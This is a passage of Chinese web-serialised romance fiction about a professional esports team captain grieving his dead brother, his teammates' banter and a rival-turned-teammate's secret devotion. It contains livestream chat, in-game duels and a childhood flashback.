他开车去律所接裴律,启程去上海郊区的一所监狱。 “好久不见了,”裴律上车递给他一杯咖啡,“精神面貌看起来好了很多。” “好久不见,”一路上,顾听做了很多次的心理疏通,却在见到裴律的那一刻,心还是止不住地紧张快跳,喉咙干涩,握方向盘的手心冰冷僵硬,嗓音沙哑地说,“我很意外,我以为这段时间,不会再见到他。” 裴律眼神疼惜地看着他,轻叹,“需要去再收集一些证据,抱歉,委屈你了。”—— 作者有话说:明天见![好的][好的] 第22章 第 22 章 游迩倏地攥紧了手机。…… 敢于正视淋漓的鲜血。顾听觉得每一次来这个地方, 就是在对他进行刨心之痛,他又觉得,头顶上悬梁着一把审判之剑, 久久不肯落下来。 不知多久, 才能进行审判。 他对这个地方无比抗拒,第一次和裴律来监狱时,他浑身冷汗,止不住地发抖, 连话都说不清楚, 后来医生说他的症状为应激,现在虽然没有那么严重,他努力在克制,克制着他沸腾的怒火。好痛苦, 好痛苦,哥哥当初也是这么痛苦吧。 “深呼吸,调整频率, 不要急。”到了监狱大门口,他俩都没急着下车, 裴律在等顾听平复, 放轻了声音说。 “我在你旁边一直陪着你,不要害怕,你很棒,哎对,就是这样” 顾听紧抿嘴唇, 闭了闭眼,再睁眼双眸清明,唇角勾起笑, 侧头对裴律说,“走吧。” “好久不见。”隔着玻璃,对面的人咧开嘴笑。 “好久不见。”顾听面无表情,神色淡然,覆盖掩藏眼底波涛恨意,放在膝盖上的双手紧紧握拳。 “我在这里面也能看到你比赛,”那人说,“你表现不错,都赢了。” 顾听没说话。 “你获奖的表情,以及这对眉眼,都和你哥哥一模一样,”那人说,“啧,看得我很不爽。” “闭嘴!”顾听一巴掌狠狠拍在玻璃上,裴律立即牵住他的手腕儿,让他冷静。 那人挑了挑眉,吊儿郎当地看着顾听,眼中全是欣赏。 “小听,我来,”裴律顺捋顾听背脊,像是在安抚应激的猫,嗓音沉着,“交给我。” 对,不能意气用事,不要被他激怒。 顾听立即平息心情,抱手站在一旁,脑子里回顾在车上裴律对他所说的话,这趟来的目的是什么。 比起他,裴律倒显镇定和游刃有余,顾听察觉到那人逐渐的不耐烦,被裴律逼问地直喊管教。 “管教!管教!”那人扯着嗓子吼,“我身体不舒服!” “我告诉你,别想着逃避问题,你别以为你无所不能!”管教已经进来要将那人带走,裴律越说越快,“我会让你付出应有的代价!” 那人咯咯地笑,眼神阴冷地盯着顾听,“行,我等着。”末了,还吹了一声口哨。 “啪”,门一关,屋内沉静,只有裴律喘着气儿的声音。 “差不多了,”几秒后,裴律垂眸,整理文件资料的手一顿,“后面的事情交给我,你只管安心打比赛就行。” 好半晌,顾听掐自己的肉强迫逼走恍惚回过神来,低哑道,“裴律谢谢你。” 裴律重重地拍了拍他的肩,语重心长道,“不谈谢不谢,我只求一个结果,给你,给我,给顾顾越。” 日落大道折射在城市宽阔的柏油路,下班晚高峰,即使限了号依旧车水马龙。顾听的车子是万千当中的一辆,混在里面也不过是渺小普通的一员。 时至今日,他仍不懂生活中为什么会有那么多意外发生,又好像有点懂。一些事情总会那么地精准降落在某人身上,安排的恰到好处,甚至冥冥之中有“我好像在哪儿经历过”,还是说,人这一生本来就是已经写好了的剧本? 但是哥哥,我不认同剧本论。 顾听永远接受不了顾越会以草率的死去而结束剩下的几十年光阴,他哥哥还没有看过湖泊,没有看过大海,没有看过极光。 但是哥哥,我很无力。 为什么那个人还能完好无损地活在这个世上,还没有受到任何的惩罚?如果说坐牢仅仅只是剥夺他终生自由,未免太过于轻松和荒谬了! 车窗敞开,顾听不知道何时起早已经泪流满面。 回到基地,面色如常。顾听在车库停好车,搭乘电梯上了二楼,路过训练室,只有游迩一个人还坐在座位上,显示屏循环播放他的某场赛事切片。 顾听走过去扣扣门,引起青年的注意,看向他的时候,游迩沉塌的眼眸放大了些许,“哥,你回来了?” “怎么不跟他们下去吃饭?”顾听笑着问。 “还不饿,”游迩站起身,“哥吃了么?” “还没呢。”顾听本想直接摁三楼回房休息,但有些时候摁的次数最多的便是训练室,肌肉记忆形成很难改变了。 “那一起吧,哥。”游迩关掉电脑,拿过队服外套往门外走,顺手牵起了羊。 顾听被他丝滑自然的动作惊讶一瞬,没说什么,由着他去了。 “哎队长回来了啊。”彭于渺眼尖地瞥见游迩牵顾听手腕儿的手,手背支着下颌,好整以暇地抿唇微笑。 “嗯?嗯?队长你好久到的?我咋没看见你呢?”陈述嚼着饭菜含糊不清。 “也才到。”顾听落了座,身心不知怎么突然放轻松下来,视线缓缓扫过他们的脸。 “今天阿姨给我们开小灶了,”魏寻也把冷吃牛肉推到顾听面前,悄声说,“超好吃的这个牛肉,队长你快尝尝。” “虽然辣,不过是真的爽。”陈述也悄声说,跟做贼似的。 “哥,饭够了么?”聊天的间隙,游迩已经把饭给他盛好了。 顾听愕然地看着小山包,“够了够了,谢谢你啊小迩。” “啥?”陈述龇牙咧嘴,“你喊队长啥?” “哥嘿你小子队长都不喊?”魏寻也啧了声。 “不是,咋就喊哥了呢?”陈述疑问句,“我靠,我都没喊过队长哥!” “你喊呗,谁拦你了?”彭于渺在一边儿乐。 “称呼而已啦,你想喊什么都可以,”顾听笑得不行,感叹,“其实吧,我也不太喜欢‘队长’这个词儿,总感觉肩上背了担子。” 事实就是担子。 “你不喜欢我们就不喊,”魏寻也说,“和你粉丝一样,喊你小卡要不要得?” 后半句是魏寻也的四川话,听得陈述有点懵逼。 “要得嘛。”顾听点了点头,慢吞吞地说。 “要得嘛?”陈述东施效颦,口音异常奇怪,引人发笑。 “哎哟你别学了。”彭于渺说。 “那我也喊队长哥。”陈述理所当然。 一道清沉突兀的嗓音响起来,淡声道,“不可以。” 不可以。 游迩说的理所应当,在美国的队霸行为此刻隐约有了些苗头,其他人和顾听见陈述冷不丁一哽,都憋着笑。 陈述缓了半天才明白过来游迩那句“不可以”,他偏不遂意,问,“凭什么啊?只准你喊不准我喊,这么霸道呢?” “先来后到。”游迩慢条斯理地说。 “这玩意儿还要讲先来后到?!”陈述非常震惊,“我就喊我就喊。” 游迩沉静地看着陈述挑衅,笑了声,“这样,单挑,谁赢了谁喊,来不来?” 一个称呼,竟然引得要单挑的地步,顾听实属认为太小题大做,刚想劝二位,陈述拍桌而起,“单挑就单挑,who怕who?” 顾听坐在他对面吓了一跳。 “行,”游迩点点头,“你决定位置。” 于是饭后他俩坐在了训练室,彭于渺和魏寻也充当观众,顾听顺其自然当上了裁判。 顾听无奈地叹了口气,还是不理解为了一个称呼,并且只是普通且简单的“哥”,至于么? 为了公平起见,游迩没选择他擅长的突破与反侵,陈述也没选择协防,一致决定玩儿狙击,三局两胜。 “加油啊两位少年,”彭于渺戏谑,“我看好你们哦。” KG里有单挑模式,这个模式一出,很大程度上满足了在地图中的喷子,我骂你低分崽,你骂我演员,得,谁也不服谁那就来把单挑,看看谁更技高一筹,再没机会狗叫。 所以这个模式节奏非常快,纯靠技术和心理博弈,游迩戴着耳机面容波澜不惊,迅速安装好AWM的马格南子弹,就操控鼠标聚焦倍镜,没有任何犹豫地朝陈述甩狙。 除开怪物大狙狂徒,AWM是伤害最高的狙击枪,它能一枪射穿军用级别的防御,当即倒地死亡,这一波陈述的角色死在了游迩的狙击枪下。 “我操?”陈述小声惊呼。 观战的彭于渺手痒得不行,她坐在陈述身后观战简直就是一种折磨,恨不得立马上手接过鼠标键盘操作,“哎我能指导么?” “不能哦。”顾听笑了笑。 “鱼苗姐,你要相信我。”陈述头也没回地说。 魏寻也直乐,“相信你个大鸡蛋啊!你都死了一次了!” 暴露了狙点位置后,游迩拿枪撤离了炮楼,陈述终于瞅见了他,奋起直追。 “哎——”彭于渺猛地顿住,反应过来地用手捂嘴看向顾听,比了个拉链状。 好在陈述没那么鲁莽,不像小狗看见骨头直奔上去,借助沙漠的灌木丛趟了下来,身上穿着他在房区搜到的吉利服。 “聪明。”顾听夸奖道。 然而他刚夸完,上帝视角的他们清楚地知晓游迩的位置属于绝佳,只要他不露头,陈述就找不到他,但他还是露了。 两把枪对狙,游迩狙击手打出来突破手的气势,由于他蛇形走位,陈述连发几狙都未将他打中。 “嘭”地一声爆破,陈述反倒被炸了个半残,“靠!还能这样?!”他惊从座位上弹起来。 “好像没说不准用雷”魏寻也冷不丁补充。 “别靠了,你要死了。”彭于渺叹了口气。 游戏结束,陈述的界面明晃晃的“失败”两个大字。 “愿赌服输。”游迩取下耳机,眼神投向陈述,意思非常明了。 “哎服输服输,”陈述认命地应道,“不跟你抢,行了吧。” 顾听阴霾的心情开朗不少,嘴角噙笑,神色温柔地看着训练室众人,任由他们拌嘴吵闹,半天没有说话。 每人心中心照不宣,游迩也是。 就算顾听不说他下午去了哪儿,其实他们都知道,只是呵护着他的伤疤,永远不会揭开露出来好不容易才长好的新肉,坚硬的疤壳是他微不足道的保护伞。 他们想让顾听开心一点,顾听也是。 大家都开心一点。 顾听能看见他哥的事儿,只对裴律一个人说过,裴律建议他去看一下心理医生。就是这么简单的一句话,顾听思考了很久,他并不觉得这是病,他不会伤害别人,更不会伤害自己,他身边和他说话的“顾越”就是他的救命稻草。 如果有一天消失了,顾听无法猜测结局。 裴律不再去劝他,内心祷告,“顾越”不要再消失了,他可以失去哥哥一次,绝不能再失去第二次。 晚上顾听开了会儿直播,游迩为了避免镜头,提前爬到了上床,这地儿是死角,摄像头照不了。 同时,拿起手机登录了自己的小号,有了上次的乌龙,这回他格外小心,他和顾听的距离仅仅不到两米。 顾听如何也想象不到,给他砸了几百万礼物的榜一大哥,此时就在他身后。 “大家晚上好。”顾听对镜头打了声招呼。 【用户688送出穿云箭×35】 【用户688送出热气球×15】 【用户688送出梦幻城堡×10】 【用户688:晚上好。】 【熟悉的id,熟悉的流程】 【688哥,上次有人抢你把榜一位置!】 【是那个Ear是吧】 【哦莫前两天战队官方官宣了Ear的定妆照,Ear竟然真加入了SAB,我先前吃营销号的爆料还真不信呢】 【12被喷得老惨了,卖国贼都骂出来了】 【用户688:谁抢我位置?】 【天,粉随蒸煮么这是,688划弹幕手都划麻了吧[笑哭]】 【此处艾特UNP——不对,现在是SAB的游迩了】 弹幕时不时飘来喷子对游迩的辱骂,游迩毫无波澜,视而不见。 “谢谢688哥,”顾听习以为常地对金主表示感谢,“官方前不久给突破手角色霍里斯汀联动动漫ip出了款新皮肤,我们试一试怎么样?” 【用户688:可以】 【非常可以!】 【那款霍里斯汀的皮肤超级好看!官方这次联动终于有水平了】 UNP-One发出组队邀请。 顾听点了同意,祁一万年不变的炸麦直冲耳门心,“听哥!!” 坐在上床的游迩听见声音坐起身,偏头看向顾听。 “哎,小一。”顾听弯了弯眼眸,回。 小一。 小迩。 哦,原来他都是这么喊的。 游迩倏地攥紧了手机—— 作者有话说:游某人:以为是我唯一,没想到我是之一[化了] 第23章 第 23 章 卡皮巴拉小饼干,哥喜欢…… 祁一的一惊一乍性格和陈述没有两样, 话很多,但他知道顾听在直播,所以闭口不提游迩转到SAB的情况。 他虽然不提, 可他的身份摆在那里, 毕竟是UNP的队长,弹幕可被人不停刷屏。有人问他对游迩提出转会作何感想,也有人问被背刺的滋味儿爽不爽,这些都被游迩尽收眼底, 随他们如何想。 无论怎么样, 他的目的已经达到了。 曾经有一段时间,SAB的老将樊宇卿要退役的消息传得那是沸沸扬扬,他闻着味儿回了国,SPD大为诧异。真相是樊宇卿因为手伤问题, 的确有退役的打算,毕竟他为SAB里最大的现役选手了,谁知他觉得自己还能坚持到KWC, 并没有立即离开,后来反而是自己触犯了底线, 粉丝大彻大悟, 那个时候樊宇卿不过就是想立一个人设罢了。 本来应该更早一点的,游迩看着手机屏幕中直播的顾听想。 祁一难得碰上顾听在线且与他同队,全程就像一只小狗似的跟在他身后,有子弹就挡,有资源就分。众所周知, 联盟中顾听的人缘是数一数二的好,还记得首次亮相赛场的是顾越,结交战队朋友也是顾越带着弟弟, 结果后面每次见面开口的第一句便是问他:“哎顾越,你弟呢?” 大概在竞男里,顾听仅仅是“不骂人”这一条,就很受别人喜欢和他双排打游戏。 不知道从什么时候起,弹幕开始舞起了cp言论,这种现象很常见,只要哪个战队的某人和其他战队一位直播稍微有节目效果,那么会吸引到大批腐女。 游迩看得眼角直跳,惊觉不能再坐以待毙,看祁一的架势是今晚都要和顾听双排的程度。 【用户688:下一把能带粉么?】 vip弹幕显眼,顾听看见了688哥发的这一条评论。 “好啊。”顾听答应道。 【带粉!我期待了好久的带粉!】 【小卡有好久都没有带过粉了呜呜呜呜】 【姐妹们,拼手速的时候到了!】 【不枉我苦苦盘了两个月的核桃,今天终于能派上用场了】 【多谢688哥,感恩688哥!】 顾听将缘由解释给祁一,得到青年依依不舍的语调,“啊,那好吧听哥,下次我们再一起玩儿!” “嗯,一定。”顾听笑着说。 游迩暗嗤了声,这会儿得找个机会脱身了,但是明目张胆地在顾听镜头中出现,以免被带上不好的节奏。 他给魏寻也发了条消息,让他来救场。 一分钟后,魏寻也收到消息敲响顾听的房门,对顾听悄声说,“队长,把镜头先关闭一下,游迩想上厕所。” 顾听了然地往上床看了一眼,游迩正笑着看他。 “噢,好的。”顾听光顾着直播,几乎忘了他房间还有游迩。 魏寻也传达好消息,朝游迩比了个ok的试手势。 顾听回到座位,飞速关闭摄像头,顺便对粉丝解释,“抱歉,我先上个厕所,回来就开启扫码。” 说完,他把麦克风也关了。 “不好意思啊小迩,”顾听转身看着他说,“我没考虑好。” 游迩长腿跳下床,走到顾听面前,眼眸认真,温声说,“哥不需要道歉。” 顾听穿着宽松居家服,粉发柔顺地垂在额前和肩颈处,瞳仁清澈水汪,看上去柔软又乖。 他的礼貌和身上自带的那种温婉气息,让人不禁地想要靠得更近,游迩鼻息深动,沁入的全是顾听淡淡的体香。 “我等你回来再开摄像头吧。”顾听轻拍了拍他的手臂。 “不用等我,我”游迩大脑飞速旋转,“我肚子有些不舒服,可能要很久。” “这样啊,”顾听说,“那你给我发消息就行,我给你开门。” “嗯。”游迩应道。 出了卧室门,游迩飞奔下楼到训练室开机,登录了自己的路人号。带粉是他提起的,而他又是顾听的榜一大粉,秉着一些人情世故,顾听会给他留组队位置。 但他还是很想快一点,再快一点,尽管焦急得不行,他面上依旧波澜不惊,可手心却出了汗。 他房间的直播设备只装了一个显示屏,以至于现在他只能来训练室。 好在他们日常训练的机子全是高配置,游迩登录上号以后,点进了顾听的直播间扫码,果不其然,他看见了五排位置还空了一个。 他情不自禁地从喉咙里挤出低低的笑,心中酸软又满足。 “好咯,人都到齐了,”顾听的声音在麦克风中有些许的失真,游迩戴上耳机,目不转睛地盯着显示屏,“那我开了哦。” “开吧小卡!”男粉说。 “开开开!”女粉说。 [组队房间-用户688:嗯嗯。] KG职业选手在直播里很少带粉,虽然很少,最起码会带,顾听算是带粉比较频繁的一个。距离上回带粉已经过去了三个月,今晚他的直播间格外热闹,粉丝挤着扫码都差点将平台干崩。 不过主播会开放一定的特权,比如给自己的金主爸爸,榜一大哥,用户688前前后后砸了累积下来差不多几百万,就算卖面子也必须给他留一个。 所以688占用特权名额,其余粉丝没有多少意见。 关键是什么,688技术好哇! [组队房间-用户688:你随便拿个突破手,我打反侵保护你。] 【霸道榜一狠狠爱】 【666第一次听素人口气这么狂妄,职业选手需要保护吗】 【还指挥上职业了】 【喷子你们先别喷,688哥技术不亚于职业水平】 【是从热门点进来的新粉吧,688哥超强的,在赛场小卡保护队友,在直播688哥都是保护小卡的那一个】 【好厨子一句话就是一碗饭】 【kswl】 【6卡szd!!】 好多打6卡的萌萌新粉。 【逆cp了,我们粉丝磕的都是卡6】 【刻板印象入脑了,咋滴看不惯我们卡左位被宠?烦人,一上来就逆我们cp】 【小卡永远左位谢谢】 弹幕党争开始打的热火朝天,游戏局内一片和谐。顾听职业号段位太高,预防粉丝段位不匹配,他用的是小号。688既然开口让他随便拿角色,他也懒得要强,随便锁定了一位冷门突破角色,688选了最强反侵。 就这样,顾听的身份由“保护者”转变为“被保护者”,688哥的反侵者玩儿的非常溜,顾听全程都很安心。 唯一不方便的是,688哥从来都不开麦,都是发在语音频道那一栏,以至于不管是顾听有什么想法,还是队友有什么想法,688哥都要比他们慢一拍。 不过对于强者来说,这都不重要。 “哎,真好啊,我弟弟终于有人保护了,”顾越躺在床上,长腿耷拉着,长叹了一口气说,“怎么能有人不爱我们小卡。” 顾听听见他哥哥的话,抿唇一笑。 【干嘛呢,随时随地都对我们笑,勾引我[狗头叼玫瑰]】 【不要这样笑,这样你会有很多女朋友】 【请某只卡皮巴拉停止散发自己的魅力】 “粉丝也都很爱你呢。”哥哥说。 “是,很爱。”顾听喃喃说,“我也很爱你们。” 【怎么突然表白】 【超级超级爱你,会永远支持你的!】 【呜呜呜小卡[委屈]】 【泪目了,怎么回事】 【此入就是如此直球】 游迩的耳麦中突然传来这么一句,操控鼠标的手指慢了下来,愣了神。 我也很爱你们。 两人一个在二楼,一个在三楼,彼此对着电脑屏幕,大脑载入不同思绪。游迩14岁那年,被一个id叫Listen的少年在KG局内摁在地上摩擦,自此,便形成了一种在他心中独特的执念。 他打破欧服电竞史的传奇记录,进入全球第一的KG战队SPD,只为超过当年的Listen。可当他越了解这个人时,那无声的爬山虎布满了整座心墙。 顾听的喜悦、痛苦、悲伤、这么多年了,他好像活成了第二个顾听。 “我也是。”游迩低吟说。 训练室只有他的一台电脑发出亮眼灯光,但在全室内黑暗里显得微不足道,游迩由衷地感受到空洞寂寥的孤独。在事故意外发生之后的每一个夜晚,顾听是否也像他这样一个人坐着,面对顾越的电脑独自面对沉痛? 没有是否,只有事实。 一定会这样- 小卡10.21:是不是生病了呀? 搁在桌面的微信弹出来顾听发来的消息。 打了三局,把把十多分钟结束战斗,时间已经过去了半个小时,这么长的时间上厕所绰绰有余,除非掉坑里了。 游迩退出组队房间,临走前在弹幕发了一句:我临时有点事儿,先不打了,你早点休息。 随即关掉电脑慢悠悠地下了一楼,去厨房拿出他今天才入购的工具和材料。 弄好一切之后,游迩拍了张照给顾听发去- Youer:没有,在做宵夜呢- Youer:卡皮巴拉小饼干,哥喜欢吗? 第24章 第 24 章 顾听?是哪位。 顾听实在没想到, 游迩这么久忙没进屋,是在一楼的厨房烤小饼干,他更没想到, 游迩竟然会这玩意儿。 照片里, 棕色的卡皮巴拉小饼干惟妙惟肖,不知道游迩是用的模具还是自己捏的,看起来非常可爱。 但他还没来得及回复,继续带粉开了下一把, 独留游迩在厨房忙碌。 成功地避开了马甲嫌疑, 游迩关掉了手机,专心致志地烘烤饼干。这门手艺是父亲交予他的,说会上一门总能让自己喜欢的姑娘刮目相看,必要时可以派上最佳用场, 当年我追你妈妈就是这样。 他爸爸是美国人,典型的熏陶在西方开放国家长大,表达爱意从不吝啬, 有了父母在前面作引导,游迩铭记于心。 当然, 他并不认为单单会做小饼干就能获得顾听的吸引力, 他只是想让顾听开心。 有人说,吃甜品会让心情变得开心。 为此,剩余的材料他还烘焙了几盒蛋挞。 “好香。”温润柔和的嗓音。 游迩有些意外地转身,“哥,你没直播了?” “两个多小时, 够了吧,”顾听说,背着手往前探头, “我在二楼就闻到香甜气味了,小迩很棒呢。” “啊,是么,”游迩扯出一抹轻笑,“连这种不足为奇的小手艺哥都要夸我。” “他们都不会,我也不会,想吃的话还得买。”顾听认可地点了点头。 游迩从盘子里拿起一块卡皮巴拉小饼干,抬手示意,询问,“哥,尝一尝味道。” 顾听就着他的手,张开红唇,轻咬,露出粉润的舌尖和白洁的牙齿,那两颗小虎牙若隐若现欲盖弥彰,饼干碎渣顺利地入了他的口中。 火候恰到好处,口感酥脆层次分明,刚出炉还带着些许的温热,顾听竖起拇指,“好吃。” 游迩灰眸眨也不眨地盯着顾听开合的嘴唇,凸起的喉结滚了滚,连手中的饼干被顾听拿走了也也不知道,整个人愣了神。 “小迩?”顾听将没吃完的饼干全部喂进嘴里,茫然地眨着长睫。 “嗯,那个”游迩又压了下喉结,嗓音沉哑,“好吃吗?” “我说了呀,好吃。”顾听耐心地又说了一次。 “好吃就行,”游迩说完,重复,“好吃就行。” 顾听见他魂不守舍的样子,朝他凑近了距离,“你怎么了,肚子还是不舒服么?” 游迩看着直逼的精致容颜,粉色狼尾映入他眼帘异常抢眼,挥之不去,他不得已往后退了一步,“没有。” “卡皮巴拉的形状好可爱,”好在顾听不自知,问他,“用的模具吗?” “不是,”游迩说,“我自己捏的。” “自己捏的?”顾听瞪大眼,“很厉害。” 他倏然想起来,“哎,我记得你头像也是水豚吧,你很喜欢卡皮巴拉?” 第一次知道这种动物,顾听是从哥哥口中听见的,说他情绪很稳定,天然呆的人机感,好像遇见什么事情都很无所谓,他还要向他弟弟学习,戒骄戒躁。后来就是粉丝,还有其他战队的朋友。 原来这样的性格还可以用动物塑造,顾听感觉非常有意思。 那时他上网搜了一下,打算去买一只回来养养,证明一下到底情绪稳不稳定,可惜被昂贵的价格劝退了,最主要的原因是水豚是群居动物,光买一只恐怕会得抑郁,还得必须再买一只,别到时候把俱乐部造完了,遂放弃。 “嗯,”游迩看着他,弯眼回,“我很喜欢。” “这谁做的小饼干?” 昨晚他俩没吃完,准确地说,只是顾听单方面吃了几块,而后又被游迩投喂蛋挞,实在撑不下去了。 早上陈述下楼吃早餐,比他们快一步地落座,率先瞟见摆盘整整齐齐的饼干和蛋挞。 “阿姨,你做的么?”陈述瞧见阿姨问。 “哟,这不是我做的呀,”阿姨看到后都愣了一瞬,“做的还蛮好得咧,但是来路不明的食物先别吃。” 来、路、不、明。 游迩刚下楼就听见阿姨这一句,顾听在他身后,自然也听到这句话了。 他忍着笑,开口解释,“不是来路不明的食物,是小迩做的。” “谁?”陈述叼着包子问。 “没看出来呀,你们现在的年轻小伙子还会做这个。”阿姨笑得不行。 “隔夜了就别吃了。”游迩打算收拾收拾扔了,被陈述拦截住。 “等等!先别忙——”他站起身来,放下嘴里的包子,从游迩手中缓慢地接过来,嘿嘿地笑,“一晚上怕什么,我先尝尝,要是好吃,以后我们的夜宵就包在你身上了。”说完,得意地朝阿姨抛了个眼色。 阿姨心领神会,还在乐,觉得年轻人颇有意思。 游迩:“?” 谁想给你“们”做? “好吃着呢。”顾听小口喝着粥。 陈述很是怀疑,随便拿了一块饼干喂进嘴里,诧异地挑眉,“哟呵,挺不错啊小伙子。” 后面下楼的彭于渺和魏寻也对游迩会做饼干这件事儿感到吃惊,主要是看起来就不太符合人设。 要不说人不可貌相呢。 为期一个月的休赛期结束,KG季后赛的到来重新备受瞩目。 这期间,有些战队的成员退役,进行了大洗盘,有些战队成员转会更换,就比如SAB。 况且晋级四强的战队还包括游迩的前战队UNP,若是抽签抽上了,那可就有好戏看了。 好在这回运气比较好,SAB对战零域,两支队伍将在BO5的环节上晋级决赛。 坐大巴车前往成都的场馆途中,顾听同游迩坐在一起,考虑到选手路程,安排SAB成员的酒店不远,十来分钟的时间,顾听戴着耳机闭上眼睛养精蓄锐。 从去年的KWC失利过后,他暗中埋下的誓言只有他自己知道。 或许他哥也知道。 在那之后的每场比赛,只能赢,不能败,哪怕顶着全网喷的压力和樊宇卿事件的重创,顾听又想起KWC赛场上他说的那两句话。 左边耳朵里的耳机轻轻地被人拿走,游迩将耳机塞进自己的耳朵里。 顾听察觉到了,但没有出声提醒,两人共同听着同一首歌。 音乐是周杰伦的《你听得到》,平缓温柔的曲调,游迩扭过去,唇角噙着笑去看阳关洒下来照在顾听那张白皙的脸,连脸上的小绒毛都泛着浅金色的光,恬静美好。 “有谁能比我知道,你的温柔像羽毛,多想藏着你的好,只有我看得到。”当时歌词正好唱到这一句,游迩抬手,把车窗帘合拢,不让阳光折射进来。 “谢谢你,小迩。”顾听没睁开眼,温声说。 游迩一愣,继而,他笑了起来。 坐在前面的陈述本来想提醒他旁边的魏寻也也拉一下窗帘,太阳照的刺眼得慌,结果侧身冷不丁看完了队长和游迩的全过程。 他缓缓地正过身子咂摸,说了句,“不对劲。” “嗯?什么不对劲?”魏寻也关掉手机,顺手把窗帘拉了,附和陈述问。 “不得劲儿,”陈述换了个词儿,也觉得不对,“不对头。” “干嘛呢神神叨叨的?”魏寻也摘下墨镜,抬眼怀疑地看他。 “唉。”陈述叹了口气。 “你别吓我句号,到底咋了?”魏寻也手指着他说,“要比赛了啊我说,你别给我出幺蛾子!” “嘛呢魏哥,你激动啥?”陈述吓了一跳,“我想问题呢。” “你想什么问题呢!我问你几遍了!”魏寻也压着声音吼。 “我在想”陈述点头沉吟。 “到场馆了,大家打起精神来,清醒清醒准备比赛。”陈述的话还没说完,就被领队给打断了。 魏寻也没法,只好背上自己的外设包下了车。 后台休息室。 妆造老师正在为选手打粉底,顾听第一个弄好的,帮助老韩收拾外设,房门骤然被人拧开,他们听见动静,转头一致看向门口。 来人西装革履,面貌年轻,黑发背头,浑身散出沉稳矜贵气息,身边还有KG赛事组委会的人,可见其身份不一般。但赛前若是没有什么意外,组委会是不会造访选手的休息室的,这一下弄得SAB所有成员异常紧张。 顾听不明所以地看了看老韩,又猝不及防的和中间男人黑沉的眼眸对上。 “这位是恒茂集团的懂事周礼恒先生,”组委会的人员说,“前来慰问一下各选手的情况。” “周董你好,”老韩上前伸出手,笑着道,“我是SAB电子竞技俱乐部的领队。” “你好,”周礼恒回握,“来这没别的意思,别太紧张,在这儿预祝你们比赛顺利。” 像这种大型赛事都有投资方和赞助商,其中牵着利益链,眼前的周董估计投的钱不少。上次樊宇卿算是KG中很久未发生过恶劣事件了,聚众嫖.娼,在国内几乎就没有电竞选手如此胆大,不像欧洲国家那些白人。 樊宇卿还出自SAB战队,这次季后赛,周礼恒亲自下场查看电竞选手,到底是不希望再有这样的事情发生。 “顾听?是哪位。”周礼恒问。 顾听一怔,还有他的事儿? 他随即走了出来,男人个高肩宽,上位者的压迫让他不得已微微仰起头颅,语气礼貌谦和,“周董你好,我是SAB的队长。” 第25章 哥与弟 小听勇敢飞,哥哥永相随! 顾听看着周礼恒放在他身上的打量目光, 不知道这位周董想说什么,难道还是因为樊宇卿的事儿,他身为队伍的队长, 特意来告知他注意事项么? 只见周礼恒随和地笑了笑, “祝你这次比赛旗开得胜。” 嗯? 顾听心里发出疑问,但立马回应说,“好的周董,借你吉言。” 周礼恒点了点头, 没有再多说什么, 和组委会的人离开了。 男人的这个举动显得突兀又刻意,还带着那么一点儿莫名其妙。休息室的加替补一共八名选手,怎的只祝顾听一个人旗开得胜? 比赛就要开始了,他们无暇顾及其他, 登上赛场。 季后赛赛制BO5,战线拉的又长又缓,比起BO3来说整场下来选手都会极其的疲惫, 况且在KG职业赛事上,每把几乎都稳固在半小时左右。 SAB第一把对战零域, 零域的队长是周栖梧, 号称“不死鸟”,顾越在去世前终结过他的涅槃,不知这次顾越的弟弟顾听能否延续他哥的奇迹,这一话题引人探讨。 而从UNP转会而来的反侵者游迩,也是首次同顾听并肩站在同一个赛场上, 这样的肖想他整整花了四年的时间,由虚无转变为现实。 他落座于顾听的左手边,没急着戴耳机, 简单地调试了下外设过后,他看了看顾听。 隔了两国之间的线上直播眺望,再到回国后的每一场的赛事线下擦肩而过,无论是什么样子的顾听,永远都是临危不惧沉稳的模样,他一坐在那里,就给人一种安心的感觉。 “哥。”游迩冷不丁喊了声顾听。 “嗯?”顾听将左耳的耳机移开一点儿,现场前奏的音乐声太大,他往游迩那边轻侧身子。 “把后背交予我,”游迩笑了笑,“我来当你的盾。” 顾听明显讶然,朝他比了个OK的手势,语调肯定,“好,我相信你。” 两人视线对上相约而笑,顾听坐直身体后,一眼就看见了观众席前排位置的顾越。他哥的应援不比其他竞粉差,站起身使劲儿摇晃手中的应援棒,上面画着卡皮巴拉和一行字- 小听勇敢飞,哥哥永相随! 顾听愣了神,霎时间,耳边冲嗤那个夏天聒噪的蝉鸣,他陷入了经久的回忆当中。 2010年的夏天。 金竹街弄堂里开着一家黑网吧,这几年黄.赌.毒严打,以前未成年人可以随意进出网吧,不用查身份证,但现在不允许了。上有政策,下有对策,一些生意人为了挣钱什么都能做得出来,像顾越顾听他们生活在安顺市的一个小县城里,政府管得很松,可到底还是会害怕引火上身,所以黑网吧一般开在很隐秘的位置。 这条弄堂外面都开着店面很小的苍蝇饭馆儿,洗发店、五金店和零碎的摆摊,起到了很好的掩护作用。 顾越班上有个外号叫猴精儿的,他成绩差得离谱,数学经常考零蛋,是老师手中棍棒下的熟人,学习没天赋,打K倒玩儿得贼溜,那个时候班上小学生除开女生,男生就没有不玩儿K的,KG官方请的歌手董杰来唱的主题曲更是在小学生之间来回传唱。 那家黑网吧就是猴精儿发现的。 放学后,顾越高年级放学比较晚,顾听还是在老地方——学校教学楼香樟树下的展览板等他哥。 顾越到了一楼,远远就看见他弟面无表情,单肩背着包单手插着兜,跟小酷哥似的,兄弟俩心有灵犀,他看那样子就知道顾听心情不好,白皙奶膘的脸颊从侧面看就好像故意撒娇嘟起了嘴。 他还没开口呢,顾听率先正过脸看到了他,走过来仰着下颌指使他哥,“跟我去一趟神剑。” 神剑就是黑网吧的名字。 顾越像是听见什么稀奇似的,眼睛瞪大,嘴巴张成了O型,“噢!今儿太阳打西边儿出来了?” 从前只有他诱哄顾听陪他去神剑的份儿,顾听乖,可以在爸妈面前打掩护,哪会像今天这样,主动说去神剑。 “去不去?”顾听清浅的瞳仁看着他哥。 顾越乐呵呵地攀上他的肩,“去!我弟开金口,怎么可能不去!告诉哥,为啥突然想着去神剑啦?” 顾听薄唇缓缓吐出两个字,带着几分咬牙切齿的味道,“单挑。” 事儿是怎样的呢? 顾听学习成绩好,是他们班的班长。每个班级里边儿总有那么几个混球小霸王,把人女同学欺负哭了,顾听不能置之不理。 混球才不怕顾听告诉老师,请家长对于他们来说早已家常便饭,但这种无意义的循环,顾听不想让之继续发展下去,总得要找个能让混球心服口服的东西,于是提出打K单挑。 